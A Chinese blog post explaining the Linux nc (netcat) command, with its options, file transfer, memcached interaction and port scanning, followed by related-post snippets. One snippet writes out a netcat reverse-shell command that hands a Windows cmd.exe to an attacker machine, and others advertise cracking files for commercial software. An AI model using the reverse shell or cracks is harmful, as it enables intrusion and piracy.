linux nc - arbitrary TCP and UDP connections and listens

【基本介绍】
nc是可以打开任意端口的TCP/UDP连接和监听。
The nc (or netcat) utility is used for just about anything under the sun involving TCP or UDP. It can open TCP connections, send UDP packets, listen on arbitrary TCP and UDP ports, do port scanning, and deal with both IPv4 and IPv6. Unlike telnet(1), nc scripts nicely, and separates error messages onto standard error instead of sending them to standard output, as telnet(1) does with some.

【基本参数】
参  数:
-g<网关> 设置路由器跃程通信网关,最丢哦可设置8个。
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p<通信端口> 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s<来源位址> 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 显示指令执行过程。
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。

【简单实例】
传输命令/文件
[code="linux"]
# nc -l 1000
hello ni

# telnet 192.168.197.128 1000
Trying 192.168.197.128...
Connected to 192.168.197.128.
Escape character is '^]'.
hello ni^H^H
[/code]

[code="linux"]
# cat testfile
cat: testfile: No such file or directory
# nc -l 1000 > testfile
# cat testfile
insert into pressent values(1,'na');
insert into pressent values(2,'na');

# cat sql
insert into pressent values(1,'na');
insert into pressent values(2,'na');
# cat sql | nc 192.168.197.128 1000
[/code]

实现与memcached,redis等需要交换的程序的通信
[code="linux"]
# printf "set chen 0 0 5\r\n61123\r\n" | nc 127.0.0.1 11211
STORED

# telnet 127.0.0.1 11211
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
get chen
END
get chen
END
get chen
END
get chen
VALUE chen 0 5
61123
END
[/code]

扫描端口
[code="linux"]
# nc -z -w2 127.0.0.1 1-30
Connection to 127.0.0.1 22 port [tcp/ssh] succeeded!
[/code]

【参考引用】
[url]http://www.thegeekstuff.com/2012/04/nc-command-examples/[/url]
[url]http://blog.zyan.cc/post/384/[/url] [url]http://bbs.chinaunix.net/thread-3654112-1-1.html[/url]
MDT部署实战:除了Office,这些“装机必备”软件也能一键静默安装(含静默参数) 本文详细介绍了如何利用Microsoft Deployment Toolkit(MDT)实现企业级软件的静默安装,包括浏览器、开发工具和系统增强工具等“装机必备”软件的部署方案。通过命令行参数和MSI属性,IT运维团队可以高效构建标准化工作环境,提升部署效率并确保版本一致性。文章还提供了安装顺序控制、结果验证和常见问题排错等高级技巧。 阅读详情

相关推荐

H3C VRF实验

POP-vpn-instance-RT1]route-distinguisher 11:11 # VPN实例-RT1的路由区分器值11:11。配置路由泄露,其实就是在一个VPN示例中添加另一个VPN实例的下一跳,比如在VPN实例RT1中添加去往SRV的默认路由。但是也有了一个新的问题,那就是RT1、RT2和RT3也能互访了,这让VPN实例变得没有意义了。[POP]ip vpn-instance RT1 #配置vpn实例-RT1。绑定了VPN实例,所以要把路由添加到VPN实例POP中。

m0_68698993的博客 4027

Java内存马攻防:从Servlet Filter到Agent技术的无文件攻击与防御

在Java Web安全领域,内存马(Memory Shell)作为一种无文件落地的攻击技术,已成为攻防对抗的核心焦点。其原理基于Java的类加载机制和动态注册能力,攻击者利用Servlet容器(如Tomcat)或应用框架(如Spring)的运行时环境,将恶意组件(如Filter、Servlet)注入请求处理链,实现远程命令执行。这种技术价值在于完全绕过传统基于文件特征的检测,在内存中隐蔽运行。应用场景广泛,从Web应用渗透到持久化控制。本文聚焦Servlet内存马,深入剖析其实现机制,并探讨如何通过RASP

weixin_30480075的博客 500

别再只用跳层连接了!手把手教你用DASI和MDCR模块提升红外小目标检测精度

本文详细介绍了如何利用DASI和MDCR模块提升红外小目标检测精度。通过分析传统跳层连接的缺陷,提出维度感知的特征选择性融合(DASI)和多尺度感受野精炼器(MDCR)的创新方案,显著提升小目标检测性能。实验证明,该方法在多个场景下AP@0.5提升达15.4%,特别适用于安防监控和遥感图像分析。

weixin_28715081的博客 224

强大的nc命令(英文说明)!

在命令行输入命令:man nc或nc -h即可查看nc命令的使用说明,前者更为详细,虽说是英文,但用法不难看懂。如下: NAME      nc - arbitrary TCP and UDP connections and listens SYNOPSIS      nc [-46DdhklnrStUuvzC] [-i interval] [-p source_port]

A coder of life 2111

Nginx&&Keepalived(一)Keepalived介绍

一、背景: 案例1:如现有服务my-service-demo,希望实现高可用和负载均衡: 首先,my-service-demo服务部署在两台机器上,通过nginx去代理这两个节点,负载均衡就实现了。如果只有一个nginx,这台nginx机器一旦宕机,访问nginx会报错。这时候在另外一台机器nginx2上也安装nginx,并配置同样的代理,可以解决上述问题,但是暴露给用户的只有一个域名(或ip),不可能给用户提供两个域名,域名1(nginx机器1)访问不了了再让用户访问域名2(nginx机器2),这

w_t_y_y的博客 2885

Autosar开发实战:DaVinci Configurator Pro新建工程保姆级教程(附目录结构解析)

本文详细介绍了使用DaVinci Configurator Pro创建Autosar工程的完整流程,包括环境准备、工程配置、目录结构解析及常见问题排查。通过实战演示和深度解读,帮助开发者快速掌握工具使用技巧,优化工程管理,提升开发效率。特别适合需要理解Autosar开发中DaVinci Config工具链的工程师。

weixin_30872157的博客 461

网络工具nc的常见功能和用法

文章目录 前言 nc netcat ncat nc的用法 测试udp端口是否可用 端口扫描 一对一聊天 传输文件 端口转发 总结 前言 nc是一个Linux环境下常用的工具命令,可以用来帮助开发者查询和解决网路问题,通常被认为是NetCat工具的缩写,在网络工具中有“瑞士军刀”的美誉。 nc在Linux环境下常常是自带的,如果你使用的Linux发行版本没有这个工具也可以自行安装,比如在CentOS上的安装命令就是yum install nc -y,并且这个...

木牛的博客 5794

23种设计模式-享元(Flyweight)设计模式

软考中级-软件设计师 享元设计模式

片言可决讼,半纸能缚龙 3224

怎样检测TCP/UDP端口的连通性

1 TCP端口的连通性 TC端口的连通性,一般通过telnet检测: TCP协议是面向连接的,可以直接通过telnet命令连接 telnet host-ip port 2 UDP端口的连通性 因为公司网络防火墙一般对端口会有一些限制,通过公司网络访问外部服务器特定端口时,需要检测与目标服务器特定端口的连通性; 若无法连通,在确认目标服务器相关端口打开时,则很有可能是被公司...

weixin_30920597的博客 1728

在时间轴上联动多张内表:ABAP 的 PROVIDE ... ENDPROVIDE 区间联动迭代实战

PROVIDE 是 ABAP 中处理有效期区间数据的强大工具,它能自动将多张内表按时间维度切片并联合处理。其核心功能包括:指定区间边界字段(BOUNDS),定义外部总区间(BETWEEN),并通过工作区和标志位(VALID)标识每张表在当前子区间是否生效。该语法特别适合 HR 信息类型等有效期数据,能避免手动处理区间重叠、排序和空档等问题。使用时需注意字段投影(FIELDS)限制、工作区只读原则,以及异常处理(如区间重叠或未排序)。典型应用场景包括员工调岗记录、价格有效期管理等需要时间轴联动的业务逻辑。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 1671

一文掌握 MongoDB 详细安装与配置(Windows / Linux / macOS 全平台)

本文详细介绍了MongoDB社区版7.0+在Windows、Linux和macOS三大操作系统上的完整安装、配置与安全加固流程。主要内容包括:各平台推荐安装方式(Windows使用MSI安装包、Linux通过官方仓库、macOS通过Homebrew)、基本配置参数说明、服务启动方法以及关键安全措施(如创建管理员用户和启用身份验证)。文章还提供了系统最低要求、下载地址、数据目录设置建议以及生产环境使用注意事项,适合开发、测试及生产环境部署参考。

数据知道的博客 6715

使用linux的nc来进行文件的传输

NAME nc - arbitrary TCP and UDP connections and listensSYNOPSISnc [-46DdhklnrStUuvz] [-i interval] [-p source_port] [-s source_ip_address] [-T ToS] [-w timeout][-X proxy_protoc...

181

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

Linux nc命令

nc - arbitrary TCP and UDP connections and listens 对任意TCP、UDP的连接与监听 参数说明:更多详细的信息可以参考man nc页面

Clef的专栏 1622

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

linux中网络工具nc|netcat的使用

netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。使用netcat命令所能完成的事情令人惊讶。 netcat所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了。你能建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端。 下面是一些使用net

@_囚徒-2018_的家园 1050

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

两台Linux系统之间传输文件的几种方法

scp传输当两台LINUX主机之间要互传文件时可使用SCP命令来实现scp传输速度较慢,但使用ssh通道保证了传输的安全性复制文件 将本地文件拷贝到远程 scp 文件名 –用户名@计算机IP或者计算机名称:远程路径 从远程将文件拷回本地 scp –用户名@计算机IP或者计算机名称:文件名 本地路径 命令格式scp local_file remote_username@remote_ip:re

OSKernelLAB(gatieme) 11万+

Linux Netcat 命令——网络工具中的瑞士军刀

netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。使用netcat命令所能完成的事情令人惊讶。 netcat所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了。你能建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端。 下面是一些使用netcat的

Leo Zhang 2829

Mac OS 下监听/拦截 TCP/UDP 连接

在开发时,客户端经常需要发起web service调用或访问http资源,但无法看到发出的 http 报文,这为调试带来苦难。通过下面这个命令,能开启一个拦截进程,本机特定端口的 TCP/UDP 连接都会被拦截,并看到消息内容。nc -l localhost 8000关于 nc 命令的帮助文档:

韩凯的博客 7990

linux nc传输目录文件,linux nc 命令传输文件

一个更有用的轻量级工具,nc的另一个强大的功能---文件传输。AMEnc - arbitrary TCP and UDP connections and listensSYNOPSISnc [-46DdhklnrStUuvz] [-i interval] [-p source_port] [-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_...

weixin_36033884的博客 396

nc的使用

攻击机:kali  192.168.72.128目标机:win2003 192.168.72.131首先在攻击机监听本地端口7777nc -lvvp 77771在目标机上运行nc.exenc.exe 192.168.72.128 7777 -e c:\windows\system32\cmd.exe在看下攻击机里,OK 成功反弹了shell...

椰树ii 749

nc的说明及使用

netcat被誉为网络安全界的‘瑞士军刀,相信没有什么人不认识它吧...... 一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具, 能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几 乎所有类型的网络连接,还有几个很有意思的内置功能(详情请看下面的使用方法)。 在中国,它的WINDOWS版有两个

| 活著已是悲劇 ㄖ 生存亦是惡意 | 1124

使用nc传输文件

方法1,-----先启动接收命命令,后开启接发送命令  步骤1,先在B机器上启动一个接收文件的监听,格式如下 意思是把在10086端口接收到的数据都写到file文件里(这里文件名随意取) nc -l port &gt;file 栗子:nc -l 10086 &gt;zabbix.rpm 步骤2,在A机器上往B机器的10086端口发送数据,把下面rpm包发送过去 nc 192.168.0...

huangzx3的博客 1万+

linux resolv.conf - /etc/resolve.conf配置

【基本介绍】 resolv.conf配置DNS客户,它包含了主机的域名搜索顺序和DNS服务器的地址,每一行应包含一个关键字和一个或多个的由空格隔开的参数。 【基本配置】 [code="linux"][root@sparkVM salt]# cat /etc/resolv.conf # Generated by NetworkManager domain localdomain s...

飞奔的熊猫 1万+

linux ssh - GSSAPIAuthentication

【基本介绍】 最近公司搬家,发现合作伙伴的服务器的用ftp工具连接老是timeout。 用linux尝试ssh也相应很久才提示输入密码。 【配置参数】 通过ssh debug发现在尝试gssapi认证的时候会卡很久。 [code="linux"]debug2: key: /root/.ssh/id_dsa ((nil)) debug1: Authentications that ca...

飞奔的熊猫 3608

linux yum - yum fastermirror安装配置使用

【基本介绍】 yum is an interactive, rpm based, package manager.(yum是一个包的管理器) yum可以简化系统软件更新的工作。为了保证更新的持续进行,通常都会提供多个mirror(镜像)地址供下载使用,但由于存在地域问题,从不同的镜像下载速度差异很大。选择从适合的镜像下载软件包,会极大的影响更新速度。以CentOS为例,可使用一个叫f...

飞奔的熊猫 2191

linux netstat - status状态描述

【基本介绍】 这里介绍netstat命令返回的结果status列的状态说明。 【状态介绍】 [code="linux"] [root@sparkVM script]# netstat -tunlp | head -10 Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address ...

飞奔的熊猫 1626

linux sudoers - sudo权限配置

【基本介绍】 The sudoers policy module determines a user's sudo privileges. It is the default sudo policy plugin. The policy is driven by the /etc/sudoers file or, optionally in LDAP. /etc/sudoers 用来配置管理...

飞奔的熊猫 1520
上一篇: redis - 性能测试
下一篇: saltstack - for-loops
chenngua
博客等级 码龄15年 2粉丝 118原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值